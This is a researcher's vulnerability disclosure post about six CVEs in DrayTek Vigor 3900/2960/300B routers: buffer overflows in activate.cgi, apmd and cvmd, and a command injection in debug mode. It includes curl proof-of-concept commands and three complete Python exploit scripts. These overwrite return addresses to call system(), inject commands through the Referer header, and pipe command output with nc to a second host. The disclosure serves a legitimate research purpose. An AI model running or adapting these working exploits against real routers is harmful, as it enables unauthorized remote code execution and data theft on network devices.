Draytek Vulnerabilities
DrayTek Vigor 3900/2960/300B Vulnerabilities
I have found six vulnerabilities in DrayTek routers in the end of 2019 year. In this post I’ll describe all of them.
Which numbers were assigned
- CVE-2020-10823
Stack-based buffer overflow in
/cgi-bin/activate.cgi
throughvar
variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 - CVE-2020-10824
Stack-based buffer overflow in
/cgi-bin/activate.cgi
throughticket
variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 - CVE-2020-10825
Stack-based buffer overflow in
/cgi-bin/activate.cgi
through base64-decodingticket
variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 - CVE-2020-10826
Command-injection in
/cgi-bin/activate.cgi
inDEBUG
mode. The vulnerability allows to execute system command by remote unauthorized attacker if device works inDEBUG
mode. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 - CVE-2020-10827
Stack-based buffer overflow in
apmd
service. The vulnerability allows to execute remote code by unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1 - CVE-2020-10828
Stack-based buffer overflow in
cvmd
service. The vulnerability allows to execute remote code by unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1
Analyse vulnerabilities
CVE-2020-10823 and CVE-2020-10824
There are two vulnerabilities quite similar. /cgi-bin/activate.cgi
accepts four parameters: action
, var
, ticket
and mac
(Figure 1).
Both vulnerabilities are stack-base buffer overflows while copying user parameters var
and ticket
to static buffer (Figure 2).
Simple pseudo-code:
...
char static_buf_var[0x10];
char static_buf_ticket[0x200];
...
int param_var_len = strlen(param_var);
memcpy(static_buf_var, param_var, param_var_len);
...
int param_ticket_len = strlen(param_ticket);
memcpy(static_buf_ticket, param_ticket, param_ticket_len);
...
PoC:
$ curl -d "var=`perl -e 'print "A" x 0x1000'`&ticket=1&mac=001122334455" -X POST http://192.168.0.250/cgi-bin/activate.cgi
$ curl -d "ticket=`perl -e 'print "A" x 0x1000'`&var=1&mac=001122334455" -X POST http://192.168.0.250/cgi-bin/activate.cgi
CVE-2020-10825
/cgi-bin/activate.cgi
has unathorized stack buffer overflow while does base64_decode operation at ticket
parameter.
Vulnerable function is sub_F274
(base64_decode
). sub_F274
takes 3 parameters:
- Input base64 string (
ticket
) - Input base64 string length
- Pointer to the output buffer
Caller function sets 3rd paramter as static stack buffer with size 0x200 (Figure 3).
So if we give buffer more than 0x200 bytes while decoding base64 data it will corrupt the stack.
Exploit for Vigor3900 (1.4.4):
#!/usr/bin/env python3
__author__ = 'Valentin "slashd" Shilnenkov'
import os
import sys
import ssl
import base64
import socket
from struct import pack,unpack
def gen_postdata():
buf = b'A' * 0x200
buf += pack("<I", 0x41414141) # R4
# pointer to the HTTP_REFERER 1.4.4
buf += pack("<I", 0x0001D7E4) # R5
buf += b'D' * 4 # R6
buf += b'E' * 4 # R7
buf += b'F' * 4 # R8
# 1.4.4
# .text:000093B0 05 00 A0 E1 MOV R0, R5 ; command
# .text:000093B4 A7 FE FF EB BL system
buf += pack("<I", 0x000093B0) # LR
# if action is set then Referer header
# will be saved at static address in .bss
payload = 'action=aaaaa&'
payload += 'mac=000000000000&var=qwertasdfgzxcvby&ticket='
payload = payload.encode() + base64.b64encode(buf)
print(payload)
return payload
def create_connect_ssl(ip, port):
conn = ssl.wrap_socket(socket.socket(socket.AF_INET))
conn.connect((ip, port))
return conn
def create_connect(ip, port):
s = socket.create_connection((ip,port))
return s
def make_http_req(cmd):
postdata = gen_postdata()
req = "POST /cgi-bin/activate.cgi HTTP/1.1\r\n"
req += "Host: 192.168.0.250\r\n"
req += "Referer: %s\r\n" % cmd
req += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\r\n"
req += "Accept: */*\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Content-Type: application/x-www-form-urlencoded\r\n"
req += "Content-Length: %d\r\n" % len(postdata)
req += "Connection: close\r\n\r\n"
req += postdata.decode()
return req
def main(ip, addr):
# to enable command injection:
data = make_http_req('uci${IFS}set${IFS}fw_cf_license.fwlicense.debug=true')
s = create_connect(ip, addr)
print(data)
s.send(data.encode())
print(s.recv(10240))
if __name__ == '__main__':
main('192.168.0.250', 8888)
CVE-2020-10826
/cgi-bin/activate.cgi
has unathorized command injection in DEBUG
mode. For activating DEBUG
mode need to execute command:
$ uci set fw_cf_license.fwlicense.debug=true
After that activate.cgi will be logging debug data to log file through bash commands in some places. For example:
.text:00009E24 08 00 A0 E1 MOV R0, buf_400h ; s
.text:00009E28 BC 1E 9F E5 LDR R1, =0x3FF ; maxlen
.text:00009E2C 98 2D 9F E5 LDR R2, =aEchoActivateLi_0 ; "echo \"activate license debug 2 httpbu"...
.text:00009E30 7C 3D 9F E5 LDR R3, =g_HTTP_REFERER
.text:00009E34 00 50 8D E5 STR R5, [SP]
.text:00009E38 6F FC FF EB BL snprintf
.text:00009E3C 08 00 A0 E1 MOV R0, buf_400h ; command
.text:00009E40 04 FC FF EB BL system
Exploit for Vigor3900 (1.4.4):
#!/usr/bin/env python3
__author__ 'Valentin "slashd" Shilnenkov'
import os
import sys
import ssl
import base64
import socket
from struct import pack,unpack
def gen_postdata():
payload = 'action=geturl'
return payload
def create_connect_ssl(ip, port):
conn = ssl.wrap_socket(socket.socket(socket.AF_INET))
conn.connect((ip, port))
return conn
def create_connect(ip, port):
s = socket.create_connection((ip,port))
return s
def make_http_req(cmd):
postdata = gen_postdata()
req = "POST /cgi-bin/activate.cgi HTTP/1.1\r\n"
req += "Host: 192.168.0.250\r\n"
req += "Referer: `%s`\r\n" % cmd
req += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\r\n"
req += "Accept: */*\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Content-Type: application/x-www-form-urlencoded\r\n"
req += "Content-Length: %d\r\n" % len(postdata)
req += "Connection: close\r\n\r\n"
req += postdata
return req
def exp():
# execute command and send result back
data = make_http_req('%s|nc${IFS}192.168.0.251${IFS}1337' % sys.argv[1])
s = create_connect('192.168.0.250', 8888)
s.send(data.encode())
res = s.recv(10240).decode()
return res
def main():
res = exp()
# print(res)
i = 0
while 'Internal Server Error' in res and i < 5:
print('.')
res = exp()
i += 1
if __name__ == '__main__':
main()
CVE-2020-10827 and CVE-2020-10828
apmd
and cvmd
have very similar vulnerability, because use same code-base. apmd
and cvmd
are simple web servers and have auth through Authorization Digest method. For triggering Authorization need to make query to the /ACSServer/services/ACSServlet
. Stack-based buffer overflows occur while handles Authorization
header in function at sub_11FB8
(cvmd
at Vigor 3900 1.4.4).
Function sub_11FB8
has 4 input parameters:
- Which key need extract from Authorization header (char *)
- Authorization header value.
- Output buffer.
- Outbut buffer length.
Also, sub_11FB8
has temp stack buffer size char[0x64] for value. If function has found value, the value copied to the temp stack buffer in 2 different pathes:
.text:00012070 07 40 65 E0 RSB R4, R5, R7
.text:00012074 04 20 A0 E1 MOV R2, R4 ; n
.text:00012078 05 10 A0 E1 MOV R1, R5 ; src
.text:0001207C 08 00 A0 E1 MOV R0, stack_buf ; dest
.text:00012080 E2 DF FF EB BL memcpy
.text:00012084 88 20 8D E2 ADD R2, SP, #0x88+var_s0
.text:00012088 04 30 82 E0 ADD R3, R2, R4
.text:0001208C 84 60 43 E5 STRB R6, [R3,#-0x84]
and
.text:000121E8 04 40 65 E0 RSB R4, R5, R4
.text:000121EC 04 20 A0 E1 MOV R2, R4 ; n
.text:000121F0 05 10 A0 E1 MOV R1, R5 ; src
.text:000121F4 08 00 A0 E1 MOV R0, stack_buf ; dest
.text:000121F8 84 DF FF EB BL memcpy
.text:000121FC 88 20 8D E2 ADD R2, SP, #0x88+var_s0
.text:00012200 04 30 82 E0 ADD R3, R2, R4
.text:00012204 84 70 43 E5 STRB R7, [R3,#-0x84]
.text:00012208 A0 FF FF EA B loc_12090
In R2
the strlen of the value.
In R1
the value.
In R0
the static stack-based buffer.
Exploit for Vigor3900 1.4.4:
#!/usr/bin/env python3
__author__ = 'Valentin "slashd" Shilnenkov'
import socket
ip='192.168.0.204'
port=2121
# port=80
def make_payload():
vulnbuf = 'touch /tmp/pwned|'
vulnbuf += 'a' * (0x84 - len(vulnbuf))
vulnbuf += 'bbbb' # R4
vulnbuf += 'cccc' # R5
vulnbuf += 'dddd' # R6
vulnbuf += 'eeee' # R7
vulnbuf += 'ffff' # R8
vulnbuf += 'gggg' # R9
vulnbuf += 'hhhh' # R10
vulnbuf += '\xd0\xce' # PC
# will be called the system function
# at the R0 register our buffer
payload = "GET /ACSServer/services/ACSServlet HTTP/1.1\r\n"
payload += "Host: 192.168.1.1:2020\r\n"
payload += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
payload += "Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\r\n"
payload += "Accept-Encoding: gzip, deflate\r\n"
payload += "Connection: close\r\n"
payload += "Cookie: traffic_warning_0=2019.5:1\r\n"
payload += 'Authorization: Digest username="admin", realm="CVM Server", nonce="MDAwMTRiN2I6RHJheXRlaw==", uri="/ACSServer/services/ACSServlet", algorithm=MD5, response=%s, qop=auth, nc=00000001, cnonce="7cb8eb1698646279"\r\n\r\n' % vulnbuf
return payload
def pwn():
p=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect((ip,port))
p.send(make_payload().encode())
p.close()
if __name__ == '__main__':
pwn()